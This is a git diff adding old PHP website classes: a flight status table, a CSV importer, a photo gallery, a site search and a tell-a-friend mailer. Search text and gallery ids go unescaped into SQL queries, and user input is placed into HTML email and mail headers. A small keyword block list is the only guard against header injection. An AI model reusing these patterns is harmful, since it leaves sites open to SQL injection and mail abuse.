+                * 
+                * @param mixed $toolbox 
+                * @access public
+                * @return string
+                */
+               function glm_flight( &$toolbox )
+               {
+                       $this->toolbox = &$toolbox;
+                       $this->DB =& $toolbox->DB;
+                       $this->airports = array('DTW'=>'Detroit Metro','PLN'=>'Pellston');
+                       $this->time_codes = array('A'=>'Actual','E'=>'Estimated','D'=>'Descision','S'=>'Scheduled','R'=>'In-range');
+               }
+
+               /**
+                * get_flight_data 
+                * 
+                * @access public
+                * @return string
+                */
+               function get_flight_data()
+               {
+                       $this->get_arr_flight_data();
+                       //echo '<!--<pre>';
+                       //print_r( $this->arr_data );
+                       //echo '</pre>-->';
+                       $this->get_dep_flight_data();
+                       //echo '<!--<pre>';
+                       //print_r( $this->dep_data );
+                       //echo '</pre>-->';
+                       // this for last updated time
+                       foreach( $this->arr_data as $row )
+                       {
+                               $update_times[] = strtotime($row['msg_dtm']);
+                       }
+                       foreach( $this->dep_data as $row )
+                       {
+                               $update_times[] = strtotime($row['msg_dtm']);
+                       }
+                       rsort(&$update_times);
+                       // get UTC offset for current date/time
+                       $TimeDiff = 4+date("I");
+                       $this->last_updated = '<div id="last-update"><b>Last updated:</b> '.date("n/j/Y g:i a",$update_times[0]-($TimeDiff*60*60)).'</div>';
+                       //echo '<!--<pre>';
+                       //print_r( $update_times );
+                       //echo '</pre>-->';
+               }
+
+               /**
+                * get_arr_flight_data 
+                * 
+                * @access public
+                * @return string
+                */
+               function get_arr_flight_data()
+               {
+                       $query = "select * from flight where flt_orig_date = current_date and flt_leg_dest = 'PLN' order by cur_in_time;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               $this->arr_data = $data;
+                       }
+               }
+
+               /**
+                * get_dep_flight_data 
+                * 
+                * @access public
+                * @return string
+                */
+               function get_dep_flight_data()
+               {
+                       $query = "select * from flight where flt_orig_date = current_date and flt_leg_orig = 'PLN' order by cur_dep_time;";
+                       if( $data = $this->DB->db_auto_get_data( $query ) )
+                       {
+                               $this->dep_data = $data;
+                       }
+               }
+
+               /**
+                * format_time 
+                * 
+                * @param mixed $time 
+                * @access public
+                * @return string
+                */
+               function format_time( $time )
+               {
+                       $timestamp = strtotime( 'now '.$time );
+                       $newtime = date('g:i A',$timestamp);
+                       return( $newtime );
+               }
+
+               /**
+                * build_arrivals 
+                * 
+                * @access public
+                * @return string
+                */
+               function build_arrivals()
+               {
+                       if( is_array( $this->arr_data ) )
+                       {
+                               $out = '
+                               <table id="flight-arrivals">';
+                                       $out .= '
+                                       <tr>
+                                               <th>From</th>
+                                               <th>Flight</th>
+                                               <th>Time</th>
+                                               <th>Code</th>
+                                               <th>Gate</th>
+                                               <th>Status</th>
+                                       </tr>
+                                       ';
+                               foreach( $this->arr_data as $row )
+                               {
+                                       $out .= '
+                                       <tr>
+                                               <td>'.$this->airports[$row["flt_leg_orig"]].'</td>
+                                               <td>'.$row["flt_airline"].' '.$row["flt_numb"].'</td>
+                                               <td>'.$this->format_time( $row["cur_in_time"] ).'</td>
+                                               <td>'.$this->time_codes[$row["cur_in_time_code"]].'</td>
+                                               <td>'.$row["arriv_gate"].'</td>
+                                               <td>'.$row["remarks"].'</td>
+                                       </tr>
+                                       ';
+                               }
+                               $out .= '</table>
+                       ';
+                       }
+                       return( $out );
+               }
+
+               /**
+                * build_departures 
+                * 
+                * @access public
+                * @return string
+                */
+               function build_departures()
+               {
+                       if( is_array( $this->dep_data ) )
+                       {
+                               $out = '
+                               <table id="flight-departures">';
+                                       $out .= '
+                                       <tr>
+                                               <th>Destination</th>
+                                               <th>Flight</th>
+                                               <th>Time</th>
+                                               <th>Code</th>
+                                               <th>Gate</th>
+                                               <th>Status</th>
+                                       </tr>
+                                       ';
+                               foreach( $this->dep_data as $row )
+                               {
+                                       $out .= '
+                                       <tr>
+                                               <td>'.$this->airports[$row["flt_leg_dest"]].'</td>
+                                               <td>'.$row["flt_airline"].' '.$row["flt_numb"].'</td>
+                                               <td>'.$this->format_time( $row["cur_dep_time"] ).'</td>
+                                               <td>'.$this->time_codes[$row["cur_dep_time_code"]].'</td>
+                                               <td>'.$row["depart_gate"].'</td>
+                                               <td>'.$row["remarks"].'</td>
+                                       </tr>
+                                       ';
+                               }
+                               $out .= '</table>
+                       ';
+                       }
+                       return( $out );
+               }
+       }
+?>
diff --git a/classes/class_importer.inc b/classes/class_importer.inc
new file mode 100755 (executable)
index 0000000..64c3802
--- /dev/null
@@ -0,0 +1,124 @@
+<?php
+/**    
+       * Import Library
+       *
+       *   GLM_IMPORT will take a file and import it into a Postgres database
+       *   <ol> each line must have only one record </ol>
+       *   <ol> each record must only be on one line</ol>
+       *   <ol> the first line must have the field names Quoted </ol>
+       *   <ol> fields must be quoted when they have single quotes in them</ol>
+       *   <ol> fields must be seperated by a comma</ol>
+       *
+       * @package Toolbox Library
+       * @subpackage DB_import Library
+ * @filesource
+       *
+ */
+/**    
+       * Import Library
+       *
+       *   GLM_IMPORT will take a file and import it into a Postgres database
+       *   <ol> each line must have only one record </ol>
+       *   <ol> each record must only be on one line</ol>
+       *   <ol> the first line must have the field names Quoted </ol>
+       *   <ol> fields must be quoted when they have single quotes in them</ol>
+       *   <ol> fields must be seperated by a comma</ol>
+       *
+       * @package Toolbox Library
+       * @subpackage DB_import Library
+       *
+ */
+class GLM_IMPORT
+       {
+               /** @var file string name of the file to import */
+               var $file;
+               /** @var host string name of host server */
+               var $host;
+               /** @var string dbname name of te database */
+               var $dbname;
+               /** @var user */
+               var $user;
+               /** @var password */
+               var $password;
+               /** @var data array the contents of the file in an array */
+               var $data;
+               /** @var conn object database connect object */
+
+               /** GLM_IMPORT
+                 class constructor
+                 this is called an initialization
+                */
+               function GLM_IMPORT($file,$host,$dbname,$user="nobody",$password="",$debugMode=NULL)
+               {
+
+                       $this->file = $file;
+                       $this->host = $host;
+                       $this->dbname = $dbname;
+                       $this->user = $user;
+                       $this->password = $password;
+                       $this->debugMode = $debugMode;
+                       $this->readFile();
+                       // $this->connect();
+                       // $this->startImport();
+                       // $this->sendImport();
+                       // $this->endImport();
+
+               }
+
+               /** connect
+                 Start the postgres connect
+                */
+               function connect()
+               {
+                       if($this->host)
+                               $host = "host=".$this->host;
+                       if($this->dbname)
+                               $dbname = "dbname=".$this->dbname;
+                       if($this->user)
+                               $user = "user=".$this->user;
+                       if($this->password)
+                               $password = "password=".$this->password;
+                       $this->conn = pg_connect("$host $dbname $user $password");
+               }
+
+               /** readFile
+                 read the csv file into an array
+                 using the first line as key values 
+                */
+               function readFile()
+               {
+                       $row = 0;
+                       $handle = fopen ($this->file,"r");
+                       while ($data = fgetcsv ($handle, 1000, ",")) 
+                       {
+                               if($row == 0){
+                                       // set the varible array
+                                       $num = count ($data);
+                                       $csvNames = array();
+                                       for ($c=0; $c < $num; $c++) 
+                                       {
+                                               $csvNames[$c] = $data[$c];
+                                               $data[$c] = array();
+                                       }
+                                       $row = 1;
+                               }else{
+                                       $num = count ($data);
+                                       $row++;
+                                       for ($c=0; $c < $num; $c++) 
+                                       {
+                                               $data1[($row - 1 )][$csvNames[$c]] = $data[$c]; 
+                                       }
+                               }
+                       }
+                       fclose ($handle);
+                       $this->data = $data1;
+                       if($this->debugMode == true)
+                       {
+                               echo "<pre>";
+                               print_r($this->data);
+                               echo "</pre>";
+                       }
+               }
+
+       }
+?>
diff --git a/classes/class_photos.inc b/classes/class_photos.inc
new file mode 100755 (executable)
index 0000000..da583ce
--- /dev/null
@@ -0,0 +1,184 @@
+<?php
+/** 
+  * Photo Class :)
+  * 
+  * <p>
+  * For gallery of images from the Toolbox
+  * </p>
+  *
+  * @package Toolbox
+  * @subpackage Photo 
+  * @filesource
+  * 
+  */
+/**
+  * Require DocBlock
+  */
+require_once(BASE.'classes/class_db.inc');
+/**
+  * Require DocBlock
+  */
+require_once(BASE.'classes/class_template.inc');
+/**
+ *     Photo Class :)
+ *
+ *     <p>
+ *     For gallery of images from the Toolbox
+ *     </p>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Template Library
+ *     @category Photo
+ *     @author $Author: cscott $
+ *     @copyright 2005
+ *     @version $Revision: 1.1.1.1 $
+ *     @since $Date: 2006/04/25 18:14:59 $
+ * 
+*/
+class GLM_PHOTOS extends GLM_TEMPLATE{
+       /**
+        @var integer $pcatid the photo category id number */
+       var $pcatid;
+       /** 
+        @var integer cols the number of photo to display across in columns */
+       var $cols;
+       /**
+          * GLM_PHOTOS: constructor of the class
+          * 
+          * @return void 
+          * @access public
+          **/
+       function GLM_PHOTOS()
+       {
+               parent::GLM_TEMPLATE(NULL);
+               $this->cols = 4;
+       }
+
+       /**
+        * get_photo_cats: get the photo categories for this catid
+        * @param $catid: the parent id of the photo catid
+        * 
+        * @return string $output
+        * @access public
+        **/
+       function getPhotoCats()
+       {
+               $output = '';
+               $output .= '<p>Click an image to enter a Photo Gallery</p>';
+
+               $query = "SELECT * FROM photo_category order by pos;";
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       $count = 0;
+                       foreach($data as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       $output .= '<div class="thumb"><div class="photocattitle">'.$value["category"].'</div><a href="'.BASE_URL.'photo.phtml?catid='.$value["id"].'"><img src="'.PHOTO_SMALL_URL.$value["image"].'" alt="'.htmlspecialchars(strip_tags($value["image"])).'"></a></div>';
+                               }
+                               if( ++$count == $this->cols )
+                                       $output .= '<div class="clearer"></div>';
+                       }
+               }
+               return($output);
+       }
+       
+       /**
+        * get_photos: get the photo items for the catid
+        * @param $catid: the photo catid
+        * 
+        * @return string $output
+        * @access public
+        **/
+       function getPhotos($catid)
+       {
+               $output = '';
+               $query = "SELECT * FROM photo_category WHERE id = ".$catid;
+               $data = $this->DB->db_auto_get_data($query);
+               if(is_array($data))
+               {
+                       if($data[0]['category'])
+                       {
+                               $output .= '<h1>'.$data[0]["category"].'</h1>
+                               ';
+                       }
+               }
+
+               $query2 = "SELECT       id,title,image FROM photo WHERE catid = $catid order by pos";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       $output .= '<p>Click an image to enlarge</p>
+                       <div id="photo-gallery">
+                       ';
+                       $count = 0;
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       $image_name = htmlspecialchars(strip_tags($value["title"]));
+                                       $img_size = getImageSize( PHOTO_SMALL_DIR.$value['image'] );
+                                       
+                                       $output .= '
+                                               <div class="thumb">
+                                                       <a href="'.BASE_URL.'photo.phtml?catid='.$catid.'&amp;id='.$value["id"].'">
+                                                 <img src="'.PHOTO_SMALL_URL.$value["image"].'"  '.$img_size[3].' alt="'.$image_name.'"></a>
+                                                 <div class="phototitle">'.$image_name.'</div>
+                                               </div>
+                                       ';
+                               }
+                               if( ++$count == $this->cols )
+                               {
+                                       $output .= '<br clear="all">
+                                       ';
+                                       $count = 0;
+                               }
+                       }
+                       $output .= '<br clear="all">
+                       </div>';
+               }
+               return($output);
+       }
+
+       function viewPhoto( $catid, $id )
+       {
+               $output = '';
+               $query = "SELECT * FROM photo_category WHERE id = ".$catid;
+               $data = $this->DB->db_auto_get_data($query);
+               $output .= '
+               <div id="largeimage">   
+                       ';
+               if(is_array($data))
+               {
+                       foreach($data as $key=>$value)
+                       {
+                               if($value['category'])
+                               {
+                                       $output .= '<div class="clearer"></div><div class="clearer"></div><div class="large-link"><a href="'.BASE_URL.'photo.phtml?catid='.$value["id"].'">Back to '.$value["category"].'</a></div>';
+                               }
+                       }
+               }
+               $query2 = "SELECT       id,title,image FROM photo WHERE id = $id;";
+               $data2 = $this->DB->db_auto_get_data($query2);
+               if(is_array($data2))
+               {
+                       foreach($data2 as $key=>$value)
+                       {
+                               if($value['image'])
+                               {
+                                       $image_name = htmlspecialchars(strip_tags($value["title"]));
+                                       
+                                       $output .= '
+                                               <div class="large-name">'.$image_name.'</div>
+                                               <div class="large-image"><img src="'.PHOTO_LARGE_URL.$value["image"].'" alt="'.$image_name.'">
+                               </div>  ';
+                               }
+                       }
+               }
+               $output .= '</div>';
+               $output .= $this->getPhotos( $catid );
+               return($output);        
+       }
+}
+?>
diff --git a/classes/class_search.inc b/classes/class_search.inc
new file mode 100755 (executable)
index 0000000..19ecd9b
--- /dev/null
@@ -0,0 +1,362 @@
+<?php
+/** 
+  * <p>seach glm-search engine for the category/business_listing
+  * This class was made to provide a search page for 
+  * our event,business_listing,newsletter databases</p>
+  * 
+  * @package Toolbox
+  * @subpackage Search
+  * @filesource
+  */
+/** 
+  * <p>seach glm-search engine for the category/business_listing
+  * This class was made to provide a search page for 
+  * our event,business_listing,newsletter databases</p>
+  *
+  * @package Toolbox
+  * @subpackage Search
+  * @category Search
+  * @author Steve Sutton
+  * @version $Revision: 1.1.1.1 $
+  * @since $Date: 2006/04/25 18:14:59 $
+  */
+class search{
+       /** @var -*/
+       var $parentshow; // array containting the catids and parentids
+       /** @var pages */
+       var $pages;
+       /** @var eventquery */
+       var $eventquery;
+       /** @var bussyquery */
+       var $bussyquery;
+       /** @var newsyquery */
+       var $newsyquery;
+       /** @var sr */
+       var $sr;
+       /** @var p */
+       var $p;
+       /** @var results */
+       var $results;
+       /** @var threads */
+       var $threads;
+       var $type;
+
+       /** search
+          constructor function
+         @param none
+         @returns none
+        */
+       function search()
+       {
+               $this->newsyquery = ""; 
+               $this->bussyquery = "";
+               $this->eventquery = "";
+               $this->pages = array();
+               $this->parentshow = array();
+               $this->type = "general";
+       }
+
+       /** set_events
+          Sets up the query for the event search
+         @param none
+         @returns none
+        */
+       function set_events()
+       {
+               $eventf[] = "e.header".$this->sr;
+               $eventf[] = "e.descr".$this->sr;
+               $eventf[] = "e.loc".$this->sr;
+               $eventf[] = "e.contact".$this->sr;              
+               $this->eventquery = "SELECT     e.* 
+                       FROM    event e
+                       WHERE   ";
+               $eevent = implode(" OR ",$eventf);                         
+               $this->eventquery .= $eevent;
+       }
+
+       /** set_bus
+          Sets the query for the business_listing db search
+         @param none
+         @returns none
+        */
+       function set_bus()
+       {
+               $busf[] = "b.name".$this->sr;
+               $busf[] = "b.description".$this->sr;
+               $busf[] = "b.city".$this->sr;
+               $busf[] = "b.state".$this->sr;
+               $busf[] = "b.zip".$this->sr;
+               $busf[] = "b.phone".$this->sr;
+               $busf[] = "b.fax".$this->sr;
+               $busf[] = "b.email".$this->sr;
+               $buscatf[] = "bc.category".$this->sr;
+               $buscatf[] = "bc.description".$this->sr;
+               $buscatf[] = "bc.intro".$this->sr;
+               $this->bussyquery = "SELECT DISTINCT ON (bc.category) bc.*, b.*,bc.id as catid
+                       FROM    (bus_category bc LEFT OUTER JOIN bus_category_bus bcb ON (bcb.catid = bc.id)) 
+                       LEFT OUTER JOIN bus b ON (b.id = bcb.busid)
+                       WHERE   (";
+                                       $ebus = implode(" OR ",$busf);
+                                       $ebuscat = implode(" OR ",$buscatf);
+                                       $this->bussyquery .= $ebus." OR ".$ebuscat.")";
+                                       }
+
+       /** set_news
+          Sets the newsletter query for the search
+         @param none
+         @returns none
+        */
+       function set_news()
+       {
+       $newsf[] = "n.title".$this->sr;
+       $newsf[] = "n.header".$this->sr;
+       $newsf[] = "n.description".$this->sr;
+       $newsblockf[] = "nb.header".$this->sr;
+       $newsblockf[] = "nb.description".$this->sr;
+       $this->newsyquery = "SELECT   n.*, nb.* 
+       FROM    news n LEFT OUTER JOIN news_block nb ON (n.id = nb.news_id) 
+       WHERE   ";
+
+       $enews = implode(" OR ",$newsf);                                   
+       $enewsblock = implode(" OR ",$newsblockf);
+       $this->newsyquery .= $enews." OR ".$enewsblock;
+       }
+
+       /** set_query
+          calls the queries for events,bus,and the newsletter
+         @param none
+         @returns none
+        */
+       function set_queries()
+       {
+               $this->set_events();
+               $this->set_bus();
+               $this->set_news();      
+       }
+
+       /** posted
+          Sets sr variable with the POST var search
+         @param none
+         @returns none
+        */
+       function posted()
+       {
+               if($_POST && $_POST["search"])
+               {
+                       //$this->show_form();   
+                       if($_POST["search"])
+                               $this->sr = " ~* '".$_POST["search"]."'";       
+                       $this->set_queries();   
+                       $this->execute_search();        
+               }       
+               else
+               {
+                       //$this->show_form();   
+               }
+       }
+
+       /** show_form
+          Outputs the form for the search
+         @param none
+         @returns none
+        */
+       function show_form()
+       {
+               ?>
+                       <script src="verify.js"></script>       
+                       <form action="<?echo $GLOBALS["PHP_SELF"]?>" method="POST" onSubmit="
+                       this.search.optional = false;
+               this.search.r = 'Search Field';
+               return(verify(this));
+               ">
+                       <select name="type">
+                       <?
+                       //$type[] = "Events";
+                       //$type[] = "Categories";
+                       //$type[] = "Newsletter";
+                       //$general = 0;
+                       foreach($this->pages as $key=>$data)
+                       {
+                               if(!is_numeric($key))
+                               {
+                                       echo "<option value=\"$key\">".ucfirst($key);   
+                               }
+                               else
+                               {
+                                       $general = 1;   
+                               }
+                       }       
+               if($general)
+                       echo "<option value=\"general\">General Categories";
+               ?>
+                       </select>
+                       <input name="search">
+                       <input type="submit" name="Command" value="Search">
+                       </form> 
+                       <?
+       }
+
+       /** execute_search
+          Sends the queries to to database
+         @param none
+         @returns none
+        */
+       function execute_search()
+       {
+               extract($_POST);
+               $qs = "";       
+               switch($this->type)
+               {
+                       case "events"://Events
+                               $qs = $this->eventquery;
+                       $qs .= " AND edate > CURRENT_DATE"; 
+                       $href = $this->pages["events"];
+                       break;
+
+                       case "general"://General
+                               $qs = $this->bussyquery;
+                       break;
+
+                       case "newsletter"://Library
+                               $qs = $this->newsyquery;
+                       $href = $this->pages["newsletter"];   
+                       break;  
+
+                       default:
+                       html_error("All",1);
+                       break;
+               }       
+
+               //echo $qs;
+               $this->result = db_auto_get_data($qs,CONN_STR);
+               if($this->result != "")
+               {
+                       echo "<div class=\"bodytext\"> Found ".count($this->result);
+                       if(count($this->result)>1)
+                               echo " matches for \"".$search."\"";
+                       else
+                               echo " match for \"".$search."\"";
+                       echo "</div><br>";
+               }
+               else
+               {
+                       echo "<div class=\"bodytext\"> No Matches</div>";       
+               }
+               if($this->type == "general")
+               {
+                       if($this->result != "")
+                       {
+                               foreach($this->result as $key=>$data)
+                               {
+                                       $this->threads[] = array(
+                                                       "ID" => $data[catid],
+                                                       "content" => $data[category],
+                                                       "parent" => $data[parent]
+                                                       );      
+                               }       
+                       }
+               }
+               elseif($this->type == "events")
+               {
+                       if($this->result != "")
+                       {       
+                               foreach($this->result as $key=>$data)   
+                               {
+                                       printf("<a class=\"frontnews\" href=\"%s?id=%s&month=All\">%s</a><br>",$href,$data[id],$data[header]);          
+                               }
+                       }
+               }
+               elseif($this->type == "newsletter")
+               {
+                       if($this->result != "")
+                       {       
+                               foreach($this->result as $key=>$data)   
+                               {
+                                       printf("<a class=\"frontnews\" href=\"%s\">%s</a><br>",$href,$data[title]);             
+                               }
+                       }
+               }
+
+               if(is_array($this->threads))
+               {
+                       $this->get_parentshow();
+                       $output = $this->printout($this->threads);
+                       echo $output;   
+               }
+       }
+
+       /** get_parent
+          Finds the parent.  Will traverse up until it reaches top of
+         chain.
+         @param id  - The catid to find parent of
+         @returns Parent - The parent id
+        */
+       function get_parent($id)
+       {
+               if($id == 0)
+                       return(0);              
+               if($this->parentshow[$id]['parent'] != "")
+               {
+
+                       $test = $this->parentshow[$id]['parent'];
+                       if($test === 0)
+                       {               
+                               return($id);                    
+                       }               
+                       else
+                       {               
+                               $id = $this->get_parent($test);
+                       }
+                       if($id == 0)
+                               return($test);          
+                       return($id);
+               }
+               return($id);
+       }
+
+       /** get_parentshow
+          Sets the array parentshow with all categories.
+         @param none
+         @returns none
+        */
+       function get_parentshow()
+       {
+               $qs = "SELECT   id,parent,category
+                       FROM            bus_category";
+
+               $parentrow = db_auto_get_data($qs,CONN_STR);      
+
+               foreach($parentrow as $key=>$value)
+               {
+                       $this->parentshow[$value[id]] = $value[parent];
+               }       
+       }
+
+       /** printout
+          Print the results out as links to their pages.
+         @param none
+         @returns none
+        */
+       function printout()
+       {
+               if(is_array($this->threads))
+               {
+                       foreach($this->threads as $key=>$value)
+                       {       
+                               $p = $this->get_parent($value[ID]);     
+                               if($p!=1)
+                               {
+                                       $string .= "<a class=\"link2\"
+                                               href=\"products.phtml?catid=$value[ID]\"><b>".$value[content]."</b></a><br>";
+                               }
+                               else
+                               {
+                                       $string .= "<a class=\"link2\"
+                                               href=\"index.phtml\"><b>".$value[content]."</b></a><br>";
+                               }
+                       }
+                       echo $string;
+               }
+       }
+}
+?>
diff --git a/classes/class_tellfriend.inc b/classes/class_tellfriend.inc
new file mode 100755 (executable)
index 0000000..84ce94d
--- /dev/null
@@ -0,0 +1,230 @@
+<?php
+/** 
+ * Toolbox Classes 
+ * <p>
+ * creates a contact form with an updatable fields array.
+ * Don't set values in the var part only declare them.  If you set them their they will be like
+ * defines and cannot be changed.  Setup in constructor function then there's no problem.
+ * </p>
+ * 
+ * @package Toolbox Library
+ * @subpackage Forms Library
+ * @filesource
+*/
+/**
+* Include DocBlock
+*/
+require_once("class_db.inc");
+/**
+* Include DocBlock
+*/
+require_once("class_toolbox.inc");
+/**
+* Include DocBlock
+*/
+require_once("class_contact_form.inc");
+/**
+ * tell_friend 
+ * <p>
+ * Update on the tellfriend script this one now uses the contact_form class 
+ * entends it and creates new class called tell_friend.
+ * That way it has the ability of the form display function built in to it. 
+ * </p>
+ * 
+ * @package Toolbox Library
+ * @subpackage Forms Library
+ * @version $id$
+ * @copyright 2005 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com> 
+ * @license 
+ */
+class tell_friend extends contact_form {
+
+       /**
+        * contact_form 
+        * 
+        * @access public
+        * @return void
+        */
+       function contact_form()
+       {
+               $this->CDB =& new GLM_DB();                                     // creates DB object    
+               $this->set_DB_fields();                                         // set up the DB_fields array (configuration)
+               $this->set_int_array();                                         // interest array
+               $this->email = OWNER_EMAIL;                                     // email address for mail function
+               $this->table_name = 'contact';                          // the contact table 
+               $this->styleLabel = "labelcell";                        // css style for the labelcell
+               $this->fieldcell = "fieldcell";                         // css style for the field input
+               $this->instructioncell = "instructioncell"; // css style for the field input
+               $this->submit_value = 'Send Email';
+               $this->subject = 'Tell a friend ';
+               $this->contact_db = 1;                                          // if they have contact database or not
+               $this->get_form();                                                      // the whole thing runs upon class creation
+       }
+
+       /**
+       * get_form: one function to rule them all
+        * 
+        * @return void 
+        * @access public
+        **/
+       function get_form()
+       {
+               if( $_POST )
+               {
+                       if( $error = $this->form_process() )
+                       {
+                               echo '<div id="form-warning-top">Warning: The form was  not sent, please review the errors below.</div>';
+                               echo $this->display_form( $error );
+                       }
+               }
+               else
+               {
+                       echo $this->display_form();
+               }
+       }
+
+       /**
+        * set_DB_fields:
+        * 
+        * @return void 
+        * @access public
+        **/
+       function set_DB_fields()
+       {
+               $DB_fields[]=array('name'=>'friend_name',       'title'=>'Friends Name:',               'type' => 'text',       'req' => 1,'inst'=>'You need to enter Friends Name');
+               $DB_fields[]=array('name'=>'friend_email',      'title'=>'Friends Email:',              'type' => 'text',       'req' => 1,'inst'=>'You need to enter a valid email address');
+               $DB_fields[]=array('name'=>'message',           'title' =>'Message To Friend:', 'type' => 'desc'); 
+               $DB_fields[]=array('name'=>'your_lname',        'title'=>'Your Name:',                  'type' => 'text',       'req' => 1,'inst'=>'You need to enter your name');
+               $DB_fields[]=array('name'=>'your_email',        'title'=>'Your Email:',                 'type' => 'text',       'req' => 1,'inst'=>'You need to enter a valid email address');
+               $this->DB_fields = &$DB_fields; 
+       }
+
+       /**
+        * form_process: process the form checking for any required form values as set up in the
+        * and send the email if the emails are valid.
+        * DB_fields array.
+        * 
+        * @return error array if bad 
+        * @access public
+        **/
+       function form_process()
+       {
+               $ban_words[] = "content-type";
+               $ban_words[] = "content-transfer-encoding";
+               $ban_words[] = "mime-version";
+               $ban_words[] = "cc\:";
+               $ban_words[] = "bcc\:";
+               
+               if(is_array($_POST))
+               {
+                       foreach($_POST as $k=>$v)
+                       {
+                               if( !is_array( $v ))
+                               {
+                                       $_POST[$k] = trim(stripslashes($v));
+                               }
+
+                               foreach($ban_words as $k => $word)
+                               {
+                                       $wordstr = "/$word/i";
+                                       if(preg_match($wordstr,$v))
+                                       {
+                                               // let's unset the $_POST array
+                                               foreach( $_POST as $key => $val )
+                                               {
+                                                       $_POST[$key] = '';
+                                               }
+                                               // if we matched, return.
+                                               return( true );
+                                       }
+                               }
+                       }
+               }
+               if( !GLM_TOOLBOX::valid_email( $_POST['friend_email'] )  )
+               {
+                       $error['friend_email'] = 1;
+               }
+               if(  !GLM_TOOLBOX::valid_email( $_POST['your_email'] ) )
+               {
+                       $error['your_email'] = 1;
+               }
+               foreach( $this->DB_fields as $value )
+               {
+                       if( $value['req'] == 1 && $_POST[$value['name']] == '' )
+                       {
+                               $error[$value['name']] = 1;
+                       }
+               }
+               
+               if(count($error) > 0)
+               {
+                       return($error);
+               }
+               // adding comments again
+               //mail the contact info to mail address.
+               $body = '
+                       <html>
+               <style type="text/css">
+               <!--
+               body { background-color: #fff;
+                       color: black;
+                       font-family: verdana, arial, helvetica, sans-serif;
+                       }
+               h1, h2 {font-family: arial, helvetica, sans-serif;}     
+               h1 {font-size: 18px; }
+               h2 {font-size: 16px; margin-bottom: 5px;}
+               p {font-size: 12px;}
+               .label {
+                       font-weight: bold; 
+                       background-color: transparent;
+                       text-align: right;
+                       width: 200px;
+                       padding: 5px;
+                       }
+               .field {
+                       //background-color: #F2F7FB;
+                       background-color: #fff;
+                       padding: 3px;
+                       }
+               table.data { 
+                       //background-color: #F9FBFD; 
+                       background-color: #fff; 
+                       color: #000; 
+                       width: 500px;  
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       border-collapse: collapse; 
+                       margin-left: 20px;
+                       }
+               table.data td { 
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       padding-left: 4px; 
+                       font-size: 12px;
+                       }       
+               -->
+</style><body>
+               
+<p>Dear '.$_POST["friend_name"].'</p>
+<p>Your friend '.$_POST["your_lname"].' has been to http://www.4drinkspecials.com, and thought you might be interested in it. </p>
+<p>Message From '.$_POST["your_lname"].'</p>
+<p>
+'.$_POST['message'].'
+</p>
+                               ';
+                       $headers = "From: ".$_POST[friend_name]." <".$_POST[your_email].">\n"
+                               . "Reply-To:  ".$_POST[friend_name]." <".$_POST[your_email].">\n"
+                        .  "MIME-Version: 1.0\n" 
+                        .  "Content-type: text/html; charset=iso-8859-1";
+
+                       $body .= '
+<div>&nbsp;</div><br clear="all">
+</body>
+</html>
+';
+                       mail($_POST[friend_email],'Message From '.$_POST["your_lname"],$body,$headers);
+                       echo '<div style="font-size:14px; margin: 20px;">Thank You, your message is sent.</div>';
+       }
+}
+?>
diff --git a/classes/class_template.inc b/classes/class_template.inc
new file mode 100755 (executable)
index 0000000..217afc9
--- /dev/null
@@ -0,0 +1,2758 @@
+<?php
+/** 
+ *     Toolbox Classes :)
+ * 
+ *     <p>
+ * $Id: class_template.inc,v 1.15 2006/10/04 19:35:12 matrix Exp $
+ *     NOTE: for the search engine freindly url's use .htaccess file.
+ *     need to make sure .htaccess is enabled or this work work
+ *     to turn off seo url's set define SEO_URL to 0 in setup file
+ *     </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @filesource
+ * 
+ */
+/**
+ * Require DocBlock
+ */
+require_once(BASE."classes/class_db.inc");
+/**
+ * Require DocBlock
+ */
+require_once(BASE."classes/class_toolbox.inc");
+/**
+ *     Template Class :)
+ *
+ * <p>
+ * $Id: class_template.inc,v 1.15 2006/10/04 19:35:12 matrix Exp $
+ * NOTE: for the search engine freindly url's use .htaccess file.
+ * need to make sure .htaccess is enabled or this work work
+ * to turn off seo url's set define SEO_URL to 0 in setup file
+ * </p>
+ * <code>
+ * .htaccess -> example follows:
+ * Options +FollowSymLinks
+ * ErrorDocument 404 /www.?????.com/sitemap.php?nf=1
+ * RewriteEngine On
+ * RewriteBase /
+ * RewriteCond %{HTTP_HOST} !^(.*)\.????\.com$ [NC]
+ * RewriteRule ^(.*)$ http://www.????.com/$1 [R=301,L]
+ * RewriteRule ^.*-([0-9]*)/$ index\.php?catid=$1
+ * RewriteRule site-map sitemap.php
+ * </code>
+ * <p>For the page title and meta tags make a $title and $meta vars depending on
+ * weather or not it is the home page.</p>
+ * <code>
+ * if($catid == 1)
+ * {
+ *             // title and meta description for home page only
+ *     $title = '';
+ *             $meta = '';
+ *     }
+ *     else
+ *     {
+ *             $title = $toolbox->title().' - Site Name';
+ *             $meta = $toolbox->meta();
+ *     }
+ *     <title><?php echo $title;?></title>
+ *     <meta name="description" content="<?php echo $meta;?>">
+ *  </code>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Template Library
+ *  @category Template
+ *     @author Steve Sutton <steve@gaslightmedia.com> 
+ *     @copyright 2005
+ *     @version $Revision: 1.15 $
+ *     @since $Date: 2006/10/04 19:35:12 $
+ * 
+ *     @todo update the phpdocs for all classes
+ *  @todo add title for all the navigation links if and only if they have page title
+ *  @todo some tutorial in the docs for how to set things up.
+ */
+class GLM_TEMPLATE{
+
+       /** @var string header_begin The style starting for header */
+       var $header_begin;
+       /** @var string header_end The style ending for header*/
+       var $header_end;
+       /** @var string subheader_begin The style starting for header */
+       var $subheader_begin;
+       /** @var string subheader_end The style ending for header*/
+       var $subheader_end;
+       /** @var string img_align The alignment of images*/
+       var $img_align;
+       /** @var string img_alternate 1 alternate images 0 not*/
+       var $img_alternate;
+       /** @var string img_size The path to the image directory*/
+       var $img_size;
+       /** @var object DB The database class*/
+       var $DB;
+       /** @var array data The category array*/
+       var $data;
+       /** @var array items The items array*/
+       var $items;
+       /** @var string type The type*/
+       var $type;      
+       /** @var string whole_thread The thread string*/
+       var $whole_thread;
